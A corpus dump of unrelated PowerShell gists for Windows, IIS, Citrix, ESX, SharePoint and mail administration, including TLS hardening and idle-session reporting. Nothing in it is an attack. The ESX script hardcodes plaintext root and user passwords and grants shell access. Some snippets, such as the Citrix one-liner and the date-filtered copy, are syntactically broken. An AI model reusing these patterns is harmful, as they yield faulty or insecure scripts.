jokcofbut_5019806_raw_5ac26a93a82208438161aaa4e6b96fb0ba498f23_ForceUpdateToSpecificPreReleaseVersionOfAPackage_Project.ps1
|
#Requires https://github.com/jokcofbut/NuGetHelpers
Force-Update-Package -Id MyPackage -Version 1.0.12275.5-VersionName -source "MyRepo" -IncludePreRelease -Project "MyProject"
|
PowerShellCorpus/GithubGist/knjname_07170e37016675284595_raw_f9485bee16e4e1bbd1cab76d5546fbd5daaf226c_ConstantJobQueueProcessing.ps1
|
knjname_07170e37016675284595_raw_f9485bee16e4e1bbd1cab76d5546fbd5daaf226c_ConstantJobQueueProcessing.ps1
|
$jobQueueLength = 4
$todoList = "Ada", "BASIC", "C++", "D", "Eiffel", "F#", "Groovy", "Haskell", "IO", "Java", "K", "Lua", "VBA"
$job = {
param($languageName)
echo "I like ..."
Sleep -Milliseconds (Random 2000)
echo " ${languageName}!"
}
$emptyJob = Start-Job -ScriptBlock {}
$jobQueue = 1..$jobQueueLength | % { $emptyJob }
$loopInterval = 100
$continuing = $true
for (; $continuing ; Sleep -Milliseconds $loopInterval ) {
for ($i = 0; $i -lt $jobQueue.Length; $i++) {
$queuedJob = $jobQueue[$i]
if ($queuedJob.State -eq "Completed" -or
$queuedJob.State -eq "Failed") {
$jobArg, $todoList = $todoList
if($jobArg -ne $null) {
$jobQueue[$i] = Start-Job -ScriptBlock $job -ArgumentList $jobArg
} else {
Wait-Job -Job $jobQueue
$continuing = $false
}
}
}
Receive-Job -Job $jobQueue
}
|
PowerShellCorpus/GithubGist/jpoehls_1477549_raw_606a3cd90d1644c0dd1728c645ec04246d26890d_smtp-test.ps1
|
jpoehls_1477549_raw_606a3cd90d1644c0dd1728c645ec04246d26890d_smtp-test.ps1
|
$smtp = New-Object System.Net.Mail.SmtpClient
$smtp.Host = "127.0.0.1"
$smtp.Port = 587
$creds = New-Object System.Net.NetworkCredential
# $currentCreds = Get-Credential
$creds.Domain = ""
$creds.UserName = "my_user" # $currentCreds.UserName
$creds.Password = "my_pass" # $currentCreds.GetNetworkCredential()
$smtp.Credentials = $creds
$smtp.Send("sender@domain.com", "receipient@domain.com", "My Subject", "My Message")
|
PowerShellCorpus/GithubGist/altrive_4d2eff7a786e7008c4f3_raw_499c33d6f672b7bb07a440b2ff8571f2f10feab6_Cevio.ps1
|
altrive_4d2eff7a786e7008c4f3_raw_499c33d6f672b7bb07a440b2ff8571f2f10feab6_Cevio.ps1
|
if([Environment]::Is64BitProcess){
throw "64bitプロセス内だとDLLロードに失敗する"
}
$ErrorActionPreference = "Stop"
Add-Type -Path "${env:ProgramFiles(x86)}\CeVIO\CeVIO Creative Studio\CeVIO.Talk.RemoteService.dll"
[CeVIO.Talk.RemoteService.ServiceControl]::StartHost($true) >$null
$talker = New-Object CeVIO.Talk.RemoteService.InteroperableComponents.Talker
#キャスト設定
$talker.Cast = "さとうささら";
#(例)音量設定
$talker.Volume = 50
#(例)再生
$state = $talker.Speak("こんにちは")
$state.Wait()
$state = $talker.Speak("さとうささらです")
$state.Wait()
#(例)音素データ取得
$phonemes = $talker.GetPhonemes("はじめまして")
# (例)音素データをトレース出力
foreach ($phoneme in $phonemes.Core)
{
Write-Host ("" + $phoneme.Phoneme + " " + $phoneme.StartTime + " " + $phoneme.EndTime)
}
#[CeVIO.Talk.RemoteService.ServiceControl]::CloseHost()
|
PowerShellCorpus/GithubGist/belotn_6018900_raw_40d07cef0441e8a936f2a84ad4182014ab9730a6_zonechange.ps1
|
belotn_6018900_raw_40d07cef0441e8a936f2a84ad4182014ab9730a6_zonechange.ps1
|
get-xaserver |? { $_.IPAddresses -match $MyIp } |? { |select ServerName,@{N="Session";E={@(get-xasession -ServerName $_.ServerName |?{ $_.State -eq "Connected" -and $_.SessionId -gt 0}).Count}} |? { $_.session -eq 0 } |%{ if( $(Get-Xaserver -Servername $_.ServerName).ZoneName -ne $newZone){ set-xaserverzone -ServerNAme $_.Servername -ZoneName $newZone; Restart-Computer $_.ServerName } }
|
PowerShellCorpus/GithubGist/sidshetye_29d6d48dfa0c2f5488a4_raw_d441d0ce5081d508c0fdbd6e0164894d331d6ea9_HardenSSL.ps1
|
sidshetye_29d6d48dfa0c2f5488a4_raw_d441d0ce5081d508c0fdbd6e0164894d331d6ea9_HardenSSL.ps1
|
# Call this from inside a startup task/batch file as shown in the next two lines (minus the '# ')
# PowerShell -ExecutionPolicy Unrestricted .\DisableSslV3.ps1 >> log-DisableSslV3.txt 2>&1
# EXIT /B 0
# Credits:
# http://azure.microsoft.com/blog/2014/10/19/how-to-disable-ssl-3-0-in-azure-websites-roles-and-virtual-machines/
# http://lukieb.blogspot.com/2014/11/tightening-up-your-azure-cloud-service.html
$nl = [Environment]::NewLine
$regkeys = @(
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Client",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Server",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Client",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Server",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Client",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Server",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Client",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Server",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Client",
"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server",
"HKLM:\SOFTWARE\Policies\Microsoft\Cryptography\Configuration\SSL\00010002"
)
# Cipher order as per Mozilla: https://wiki.mozilla.org/Security/Server_Side_TLS (Intermediate set - as mapped to Windows names)
$cipherorder = "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P256,"
$cipherorder += "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P384,"
$cipherorder += "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P521,"
$cipherorder += "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P521,"
$cipherorder += "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256,"
$cipherorder += "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P521,"
$cipherorder += "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P384,"
$cipherorder += "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P521,"
$cipherorder += "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,"
$cipherorder += "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P521,"
$cipherorder += "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P521,"
$cipherorder += "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384,"
$cipherorder += "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256,"
$cipherorder += "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384,"
$cipherorder += "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P521,"
$cipherorder += "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P521,"
$cipherorder += "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,"
$cipherorder += "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P521,"
$cipherorder += "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P521,"
$cipherorder += "TLS_RSA_WITH_AES_128_CBC_SHA256,"
$cipherorder += "TLS_RSA_WITH_AES_128_CBC_SHA,"
$cipherorder += "TLS_RSA_WITH_AES_256_CBC_SHA256,"
$cipherorder += "TLS_RSA_WITH_AES_256_CBC_SHA"
# If any settings are changed, this will change to $True and the server will reboot
$reboot = $False
Function Set-CryptoSetting {
param (
$keyindex,
$value,
$valuedata,
$valuetype,
$restart
)
# For printing to console
$regKey = $regkeys[$keyindex]
# Check for existence of registry key, and create if it does not exist
If (!(Test-Path -Path $regkeys[$keyindex])) {
Write-Host "Creating key: $regKey$nl"
New-Item $regkeys[$keyindex] | Out-Null
}
# Get data of registry value, or null if it does not exist
$val = (Get-ItemProperty -Path $regkeys[$keyindex] -Name $value -ErrorAction SilentlyContinue).$value
If ($val -eq $null) {
# Value does not exist - create and set to desired value
Write-Host "Value $regKey\$value does not exist, creating...$nl"
New-ItemProperty -Path $regkeys[$keyindex] -Name $value -Value $valuedata -PropertyType $valuetype | Out-Null
$restart = $True
} Else {
# Value does exist - if not equal to desired value, change it
If ($val -ne $valuedata) {
Write-Host "Value $regKey\$value not correct, setting it$nl"
Set-ItemProperty -Path $regkeys[$keyindex] -Name $value -Value $valuedata
$restart = $True
}
Else
{
Write-Host "Value $regKey\$value already set correctly$nl"
}
}
return $restart
}
# Special function that can handle keys that have a forward slash in them. Powershell changes the forward slash
# to a backslash in any function that takes a path.
Function Set-CryptoKey {
param (
$parent,
$childkey,
$value,
$valuedata,
$valuetype,
$restart
)
$child = $parent.OpenSubKey($childkey, $true);
If ($child -eq $null) {
# Need to create child key
$child = $parent.CreateSubKey($childkey);
}
# Get data of registry value, or null if it does not exist
$val = $child.GetValue($value);
If ($val -eq $null) {
# Value does not exist - create and set to desired value
Write-Host "Value $child\$value does not exist, creating...$nl"
$child.SetValue($value, $valuedata, $valuetype);
$restart = $True
} Else {
# Value does exist - if not equal to desired value, change it
If ($val -ne $valuedata) {
Write-Host "Value $child\$value not correct, setting it$nl"
$child.SetValue($value, $valuedata, $valuetype);
$restart = $True
}
Else
{
Write-Host "Value $child\$value already set correctly$nl"
}
}
return $restart
}
# Check for existence of parent registry keys (SSL 2.0 and SSL 3.0), and create if they do not exist
For ($i = 9; $i -le 12; $i = $i + 3) {
If (!(Test-Path -Path $regkeys[$i])) {
New-Item $regkeys[$i] | Out-Null
}
}
# Ensure SSL 2.0 disabled for client
$reboot = Set-CryptoSetting 10 DisabledByDefault 1 DWord $reboot
# Ensure SSL 2.0 disabled for server
$reboot = Set-CryptoSetting 11 Enabled 0 DWord $reboot
# Ensure SSL 3.0 disabled for client
$reboot = Set-CryptoSetting 13 DisabledByDefault 1 DWord $reboot
# Ensure SSL 3.0 disabled for server
$reboot = Set-CryptoSetting 14 Enabled 0 DWord $reboot
# Set cipher priority
$reboot = Set-CryptoSetting 15 Functions $cipherorder String $reboot
# We have to do something special with these keys if they contain a forward-slash since
# Powershell converts the forward slash to a backslash and it screws up the creation of the key!
#
# Just create these parent level keys first
$cipherskey = (get-item HKLM:\).OpenSubKey("SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers",$true)
If ($cipherskey -eq $null) {
$cipherskey = (get-item HKLM:\).CreateSubKey("SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers")
}
$hasheskey = (get-item HKLM:\).OpenSubKey("SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes",$true)
If ($hasheskey -eq $null) {
$hasheskey = (get-item HKLM:\).CreateSubKey("SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes")
}
# Then add sub keys using a different function
# Disable RC4, DES, EXPORT, eNULL, aNULL, PSK and aECDH
$reboot = Set-CryptoKey $cipherskey "RC4 128/128" Enabled 0 DWord $reboot
$reboot = Set-CryptoKey $cipherskey "Triple DES 168" Enabled 0 DWord $reboot
$reboot = Set-CryptoKey $cipherskey "RC2 128/128" Enabled 0 DWord $reboot
$reboot = Set-CryptoKey $cipherskey "RC4 64/128" Enabled 0 DWord $reboot
$reboot = Set-CryptoKey $cipherskey "RC4 56/128" Enabled 0 DWord $reboot
$reboot = Set-CryptoKey $cipherskey "RC2 56/128" Enabled 0 DWord $reboot
$reboot = Set-CryptoKey $cipherskey "DES 56" Enabled 0 DWord $reboot # It's not clear whether the key is DES 56 or DES 56/56
$reboot = Set-CryptoKey $cipherskey "DES 56/56" Enabled 0 DWord $reboot
$reboot = Set-CryptoKey $cipherskey "RC4 40/128" Enabled 0 DWord $reboot
$reboot = Set-CryptoKey $cipherskey "RC2 40/128" Enabled 0 DWord $reboot
# Disable MD5, enable SHA (which should be by default)
$reboot = Set-CryptoKey $hasheskey "MD5" Enabled 0 DWord $reboot
$reboot = Set-CryptoKey $hasheskey "SHA" Enabled 0xFFFFFFFF DWord $reboot
$cipherskey.Close();
$hasheskey.Close();
# If any settings were changed, reboot
If ($reboot) {
Write-Host "Rebooting now..."
# shutdown: restart, time 5 sec, comment "..", force running apps to close
# machine readable reason, planned, 2:4 as reason
shutdown.exe /r /t 5 /c "Crypto settings changed" /f /d p:2:4
}
|
PowerShellCorpus/GithubGist/JMatthewman_4042583_raw_436ebe89e1a11357b4b68b7740a3438be03b77a1_MemoryStickSync.ps1
|
JMatthewman_4042583_raw_436ebe89e1a11357b4b68b7740a3438be03b77a1_MemoryStickSync.ps1
|
# Memory Stick Backup Syncronisation script
# By Joel Matthewman 08/11/2012
#
# Customizations:
# Ln 13 path to SyncToyCMD.exe (you may need to change to x86 or other obscure location)
# Ln 23 Location of dropbox.exe
# Ln 29 Drive definitions with drive letter and name, and names of any SyncPairs to syncronise
#
#
function syncToy ($folderPairs) {
msg "Starting SyncToy"
foreach ($folderPair in $folderPairs) {
msg "Syncing $folderPair"
start-process "C:\Program Files\SyncToy 2.1\SyncToyCmd.exe" "-R $($folderPair)" -wait
}
msg "SyncToy complete."
}
function dropbox {
msg "Restarting DropBox"
stop-process -name DropBox
msg "DropBox stopped."
msg "Starting new instance of DropBox"
start-process "C:\Users\Joel\AppData\Roaming\Dropbox\bin\Dropbox.exe"
msg "DropBox started."
}
function recognise {
switch -wildcard ($driveDetails) {
"R: SOURCY FOUR" {msg "Drive recognised, sync not configured"}
"Z: MOLEMAN" {msg "Drive recognised."; syncToy "College","Minecraft","PuTTy Config"; dropbox;}
"X: MoleMan's Snaps & Tunes" {msg "Drive recognised."; syncToy "Snaps","Music -- 2.5'' - Shared Music"; dropbox;}
default {msg $driveDetails " has no defined Sync."}
}
}
function msg ($msg) {
write-host (get-date) "`t`t"$msg
}
Register-WmiEvent -Class win32_VolumeChangeEvent -SourceIdentifier volumeChange
msg "Beginning script..."
do{
$newEvent = Wait-Event -SourceIdentifier volumeChange
$eventType = $newEvent.SourceEventArgs.NewEvent.EventType
$eventTypeName = switch($eventType)
{
1 {"Configuration changed"}
2 {"Device arrival"}
3 {"Device removal"}
4 {"docking"}
}
msg "Event detected = $eventTypeName"
if ($eventType -eq 2)
{
$driveLetter = $newEvent.SourceEventArgs.NewEvent.DriveName
$driveLabel = ([wmi]"Win32_LogicalDisk='$driveLetter'").VolumeName
$driveDetails = "$driveLetter $driveLabel"
msg "Drive = $driveDetails"
recognise
}
Remove-Event -SourceIdentifier volumeChange
} while (1-eq1) #Loop until next event
Unregister-Event -SourceIdentifier volumeChange
|
PowerShellCorpus/GithubGist/trodemaster_9cd525139743751c3ee7_raw_ffc97ee713ca2f215039fd8b051c154d97748d2b_punzip.ps1
|
trodemaster_9cd525139743751c3ee7_raw_ffc97ee713ca2f215039fd8b051c154d97748d2b_punzip.ps1
|
function punzip( $zipfile, $outdir ) {
If(-not(Test-Path -path $zipfile)){return "zipfile " +$zipfile + " not found!"}
If(-not(Test-Path -path $outdir)){return "output dir " + $outdir + " not found!"}
$shell = new-object -com shell.application
$zip = $shell.NameSpace($zipfile)
foreach($item in $zip.items())
{
$shell.Namespace($outdir).copyhere($item)
}
}
# usage
# paramater 1 is path to zip file
# parameter 2 is directory to extract the archive
punzip ("c:\windows\temp\archive.zip") ("C:\windows\temp")
|
PowerShellCorpus/GithubGist/dealproc_b71da93fd910f1ec69c4_raw_34fabf10d95668c7cc55c3c19a2e42beceffdc85_sslassignment.ps1
|
dealproc_b71da93fd910f1ec69c4_raw_34fabf10d95668c7cc55c3c19a2e42beceffdc85_sslassignment.ps1
|
## --------------------------------------------------------------------------------------
## Input
## --------------------------------------------------------------------------------------
$webSiteName = $OctopusParameters['WebSiteName']
$bindingPort = $OctopusParameters["BindingPort"]
$bindingIpAddress = $OctopusParameters["BindingIpAddress"]
$bindingHost = $OctopusParameters["BindingHost"]
$bindingSslThumbprint = $OctopusParameters["BindingSslThumbprint"]
$bindingSslThumbprint = $bindingSslThumbprint.Replace("?", "")
$webRoot = $OctopusParameters["WebRoot"]
$applicationId = $OctopusParameters["ApplicationId"]
## --------------------------------------------------------------------------------------
## Helpers
## --------------------------------------------------------------------------------------
# Helper for validating input parameters
function Validate-Parameter($foo, [string[]]$validInput, $parameterName) {
Write-Host "${parameterName}: ${foo}"
if (! $foo) {
throw "$parameterName cannot be empty, please specify a value"
}
if ($validInput) {
if (! $validInput -contains $input) {
throw "'$input' is not a valid input for '$parameterName'"
}
}
}
## --------------------------------------------------------------------------------------
## Validate Input
## --------------------------------------------------------------------------------------
Write-Output "Validating paramters..."
Validate-Parameter $webSiteName -parameterName "Web Site Name"
Validate-Parameter $bindingPort -parameterName "Port"
Validate-Parameter $bindingSslThumbprint -parameterName "SSL Thumbprint"
Validate-Parameter $applicationId -parameterName "Application ID (From AssemblyInfo.cs in the web application's project.)"
## --------------------------------------------------------------------------------------
## Configuration
## --------------------------------------------------------------------------------------
$bindingInformation = "${bindingIpAddress}:${bindingPort}:${bindingHost}"
Write-Host ("Attempting to create SSL Binding")
Add-PSSnapin WebAdministration -ErrorAction SilentlyContinue
Import-Module WebAdministration -ErrorAction SilentlyContinue
$sslbind = "IIS:\SslBindings\!$bindingPort!" + "" + $bindingHost
Write-Host ("Binding " + $sslbind)
$exists = Get-Item $sslbind -ErrorAction SilentlyContinue
if (!$exists) {
Write-Host("Create as this doesn't exists.")
netsh --% http add sslcert hostnameport=${bindingHost}:${bindingPort} certhash=${bindingSslThumbprint} appid=${applicationId} certstorename=My
Write-Host ("SSL enabled")
} else {
Write-Host("Skip, this already exists.")
}
|
PowerShellCorpus/GithubGist/daveselias_9585689_raw_f4075a072fc20c52df02d05cc0e564b12d056fe4_Send-RDPReport.ps1
|
daveselias_9585689_raw_f4075a072fc20c52df02d05cc0e564b12d056fe4_Send-RDPReport.ps1
|
Function Get-LoggedOnUser {
<#
.Synopsis
Queries a computer to check for interactive sessions
.DESCRIPTION
This script takes the output from the quser program and parses this to PowerShell objects
.NOTES
Name: Get-LoggedOnUser
Author: Jaap Brasser
Version: 1.1
DateUpdated: 2013-06-26
.LINK
http://www.jaapbrasser.com
.PARAMETER ComputerName
The string or array of string for which a query will be executed
.EXAMPLE
.\Get-LoggedOnUser.ps1 -ComputerName server01,server02
Description:
Will display the session information on server01 and server02
.EXAMPLE
'server01','server02' | .\Get-LoggedOnUser.ps1
Description:
Will display the session information on server01 and server02
#>
param(
[CmdletBinding()]
[Parameter(ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true)]
[string[]]$ComputerName = 'localhost'
)
process {
foreach ($Computer in $ComputerName) {
quser /server:$Computer | Select-Object -Skip 1 | ForEach-Object {
$CurrentLine = $_.Trim() -Replace '\s+',' ' -Split '\s'
$HashProps = @{
UserName = $CurrentLine[0]
ComputerName = $Computer
}
# If session is disconnected different fields will be selected
if ($CurrentLine[2] -eq 'Disc') {
$HashProps.SessionName = $null
$HashProps.Id = $CurrentLine[1]
$HashProps.State = $CurrentLine[2]
$HashProps.IdleTime = $CurrentLine[3]
$HashProps.LogonTime = $CurrentLine[4..6] -join ' '
} else {
$HashProps.SessionName = $CurrentLine[1]
$HashProps.Id = $CurrentLine[2]
$HashProps.State = $CurrentLine[3]
$HashProps.IdleTime = $CurrentLine[4]
$HashProps.LogonTime = $CurrentLine[5..7] -join ' '
}
New-Object -TypeName PSCustomObject -Property $HashProps |
Select-Object -Property UserName,ComputerName,SessionName,Id,State,IdleTime,LogonTime
}
}
}
}
#get list of all servers to check sessions on from Active Directory
$AllServers = (Get-ADComputer -filter {name -like "*servernameconvention*"}).name
#Check all sessions on Servers one by one
$AllSessions=$List=$MasterList=@()
ForEach($ComputerName in $AllServers){
$AllSessions += (Get-LoggedOnUser -ComputerName $ComputerName -ErrorAction SilentlyContinue)
}
#Filter results down to Sessions older than 1 Hour
$AllSessions = $AllSessions | Where-Object {($_.IdleTime -like "*:*") -and ($_.IdleTime -gt "00:59")}
#Find User information from Active Directory
$Users = ($AllSessions | select Username -Unique)
ForEach($U in ($Users).username){
$List += (Get-ADUser $U -Properties * | select Samaccountname, Name, mail, company)
}
#If username designated as a Domain Admin account Drop the "-DA" and locate the e-mail address of the account owner
ForEach($u in $list){
IF(($u.mail -eq $null) -and ($u.samaccountname -like "*-DA")){
$SAM = $u.Samaccountname.substring(0,6)
$U.mail = ((Get-ADUser $SAM -Properties mail).mail)
}
$MasterList += $U
}
#Add e-mail addresses from contacts (typically vendor accounts i.e. DELL, HP, etc.)
$Contacts = Get-ADObject -Filter {Objectclass -like "contact"} -Properties *
ForEach($U in $MasterList){
IF($U.mail -eq $null){
$Name = $U.name.split(',')[0]
$Mail = $Contacts | Where-Object {($_.name -like "*$Name*") -and ($_.mail -like "*$($u.company)*")}
$U.mail = $Mail.mail
}
}
# Setup email parameters
$today = Get-Date
$priority = "Normal"
$smtpServer = "mail.EmailServer.com"
$emailFrom = "Notifications@EmailServer.com"
#Send Individual Reports
ForEach($u in $MasterList){
$subject = "Remote Server Sessions Report for $($u.samaccountname) - " + $today
$Body = '<font face="Arial">'
$Body += "<H4> Your UserID $($u.samaccountname), was found to have sessions exceeding 1 hour of idle time on the following servers. Please connect back in and log off properly.</H4><p>`n`n"
$Body += "`n"
$Body += '<font color="FF0000">'
$Body += "<H5>This is an automated e-mail, please do not reply</H5><p>"
$Body += "</font>"
$Body += "`n"
$Body += ($AllSessions | Where-Object {($_.username -like ($u).samaccountname)} | ConvertTo-html)
$Body += "`n"
IF($u.mail.count -gt 0){
$Body += "</font>"
Write-Host "$($U.name), $($u.mail)"
$emailTo = "$($u.mail)"
Send-MailMessage -To $emailTo -Subject $subject -Body $Body -BodyAsHtml -SmtpServer $smtpServer -From $emailFrom -Priority $priority
}ELSE{
$emailTo = "Admin@EmailServer.com"
$Body += "`n `n"
$Body += $U | Select Samaccountname, Name, Company | ConvertTo-Html
$Body += "</font>"
Send-MailMessage -To $emailTo -Subject $subject -Body $Body -BodyAsHtml -SmtpServer $smtpServer -From $emailFrom -Priority $priority
}
}
#Master Report
$emailTo = "Admin@EmailServer.com"
$Subject = "Remote Server Sessions Report for - " + $today
$Body = '<font face="Arial">'
$Body += "Remote Server Sessions Report for - " + $today
$Body += "`n"
$Body += "`n"
$Body += "The following is a list of sessions that have exceeded 1 hour"
$Body += "`n"
$Body += $AllSessions | Sort-Object Username | ConvertTo-Html
$Body += "</font>"
Send-MailMessage -To $emailTo -Subject $subject -Body $Body -BodyAsHtml -SmtpServer $smtpServer -From $emailFrom -Priority $priority
|
PowerShellCorpus/GithubGist/jbarber_715238_raw_060b9494f69c80b43ba48de8e63b3d7cb3e063c1_add_esx_users.ps1
|
jbarber_715238_raw_060b9494f69c80b43ba48de8e63b3d7cb3e063c1_add_esx_users.ps1
|
$vsphere = "my-vc"
$new_user = "newbie"
$new_user_passwd = "new_sekret"
$new_user_grp = "root"
$root_user = "root"
$root_passwd = "really_sekret"
# Get all of the ESX servers (connect using Windows credentials)
connect-viserver -server $vsphere
$hosts = get-view -type hostsystem
disconnect-viserver -confirm:$false
# For each ESX server, connect and see if the new account exists.
# If it does, reset the password and ensure the account is granted shell access.
# If it doesn't, create it and add to the root group (this seems to be necessary to allow ssh login in ESX4.0)
$hosts | %{ $_.name } | %{
echo $_
connect-viserver -server $_ -user $root_user -password $root_passwd
if ($?) {
if (! (get-vmhostaccount | ?{ $_.id -eq $new_user })) {
new-vmhostaccount -useraccount -id $new_user -password $new_user_passwd -grantshellaccess
set-vmhostaccount -groupaccount -id root -assignusers $new_user
}
else {
set-vmhostaccount -useraccount $new_user -password $new_user_passwd -grantshellaccess $true
}
disconnect-viserver -confirm:$false "*"
}
}
|
PowerShellCorpus/GithubGist/belotn_5984451_raw_fe81c96123a98411d17336e7a1cf228c9b07529a_onescancsv.ps1
|
belotn_5984451_raw_fe81c96123a98411d17336e7a1cf228c9b07529a_onescancsv.ps1
|
get-eventlog -LogName "Key Management Service" -ComputerName "COMPUTERNAME" -InstanceId 1073754114 | select Index,Message,TimeGenerated |% {if ($_.MEssage -match ".*(0x[0-9a-f]+),(\d+),([^,]+),([0-9a-f\-]+),([^,]+),(\d),(\d),(\d+),([0-9a-f\-]+).*") { $_ | Add-Member -type NoteProperty -name Client -Value $matches[3] -Passthru | Add-Member -type NoteProperty -name CMID -Value $matches[4] -PassThru | Add-Member -type NoteProperty -name ErrorLevel -Value $matches[1] -PassThru| Add-Member -type NoteProperty -name MinCount -Value $matches[2] -PassThru| Add-Member -type NoteProperty -name DateDemand -Value $matches[5] -PassThru | Add-Member -type NoteProperty -name isVM -Value $matches[6] -PassThru| Add-Member -type NoteProperty -name State -Value $matches[7] -PassThru | Add-Member -type NoteProperty -name TTLmin -Value $matches[8] -PassThru | Add-Member -type NoteProperty -name LicenseId -Value $matches[9] -PassThru} } | select @{N="Id";E={$_.Index}},Client,CMID,ErrorLevel,MinCount,TimeGenerated,DateDemand,isVM,State,TTLmin,LicenseId |% {"$("$(@{$true=$(Import-Csv ./Leases.csv | measure-object LeaseID -Max).Maximum;$false=0}[$(Import-Csv Leases.csv | measure-object LeaseID -Max).Maximum -ne $null ]+ 1)"),$($CMID = $_.CMID;$(if( @(Import-Csv ./Computer.csv |? { $_.CMID -eq $CMID}).Count -gt 0 ){"$($(Import-Csv ./Computer.csv |? { $_.CMID -eq $CMID}).ComputerId)"}else{"$(@{$true=$(Import-Csv ./Computer.csv | measure-object ComputerId -Max).Maximum;$false=0}[$(Import-Csv Computer.csv | measure-object ComputerId -Max).Maximum -ne $null ]+ 1),$($_.Client),$($_.CMID),$($_.IsVM)">> "./Computer.csv" ; "$($(Import-Csv Computer.csv | measure-object ComputerId -Max).Maximum)"})),$($LID = $_.LicenseID;$(if( @(Import-Csv ./Licence.csv |? { $_.LicenseId -eq $LID}).Count -gt 0 ){"$($(Import-Csv ./Licence.csv |? { $_.LicenseID -eq $LID}).LicenseRow)"}else{"$(@{$true=$(Import-Csv ./Licence.csv | measure-object LicenseRow -Max).Maximum;$false=0}[$(Import-Csv Licence.csv | measure-object LicenseRow -Max).Maximum -ne $null ]+ 1),$($_.LicenseId),$($_.MinCount)" >> Licence.csv; "$($(Import-Csv Licence.csv | measure-object LicenseRow -Max).Maximum)" })),$($_.TimeGenerated),$($_.DateDemand),$($_.TTLMin),$($_.State),COMPUTERNAME" >> Leases.csv}
|
PowerShellCorpus/GithubGist/sdowding_4963898_raw_b6f6c261797573a909d4213644d8e639796baccc_gistfile1.ps1
|
sdowding_4963898_raw_b6f6c261797573a909d4213644d8e639796baccc_gistfile1.ps1
|
#
$StartDate = (get-date -year 2011 -month 6 -day 2)
$EndDate = (get-date -year 2011 -month 6 -day 4)
Get-ChildItem t:\ | Where-Object {($_\3.LastWriteTime.Date -ge $StartDate.Date) -and ($_\3.LastWriteTime.Date -le $EndDate.Date)} | Copy-Item -Destination 'C:\logs'
|
PowerShellCorpus/GithubGist/rheid_2ce55b40971f122d1ceb_raw_a1d6536b16655bd8388f7f57fac12854e5be6ada_EnableAnonymousRESTSearch.ps1
|
rheid_2ce55b40971f122d1ceb_raw_a1d6536b16655bd8388f7f57fac12854e5be6ada_EnableAnonymousRESTSearch.ps1
|
Param(
[string] $url = $(Read-Host -prompt "Enter Site Collection URL: ")
)
if ( (Get-PSSnapin -Name Microsoft.SharePoint.PowerShell -ErrorAction SilentlyContinue) -eq $null )
{
Add-PsSnapin Microsoft.SharePoint.PowerShell
}
Write-Host " "
Write-Host " Script provided by Summit 7 Systems for information/educational purposes only. Use at your own risk."
Write-Host " http://s7sys.biz/restsearch http://www.Summit7Systems.com"
Write-Host " "
$farmID=(Get-SPFarm).Id
$spSite=Get-SPSite $url
$siteColId=$spSite.Id
$topLevelSiteID=$spSite.RootWeb.Id
$rootWeb=$spSite.RootWeb
if($null -ne $rootWeb)
{
$list=$rootWeb.Lists["QueryPropertiesTemplate"]
if($null -eq $list)
{
$template=$rootWeb.ListTemplates["Document Library"]
$list=$rootWeb.Lists[$rootWeb.Lists.Add("QueryPropertiesTemplate","QueryPropertiesTemplate",$template)]
}
$scriptFile = $MyInvocation.MyCommand.Definition
[string]$currentSource = Get-Content $scriptFile
[int]$startScript=$currentSource.LastIndexOf("<QueryPropertiesTemplate");
[int]$closeComment=$currentSource.LastIndexOf("#>");
$xmlFile=[xml]($currentSource.Substring($startScript,$closeComment-$startScript))
$xmlFile.QueryPropertiesTemplate.QueryProperties.FarmId=$farmID.ToString()
$xmlFile.QueryPropertiesTemplate.QueryProperties.SiteId=$siteColId.ToString()
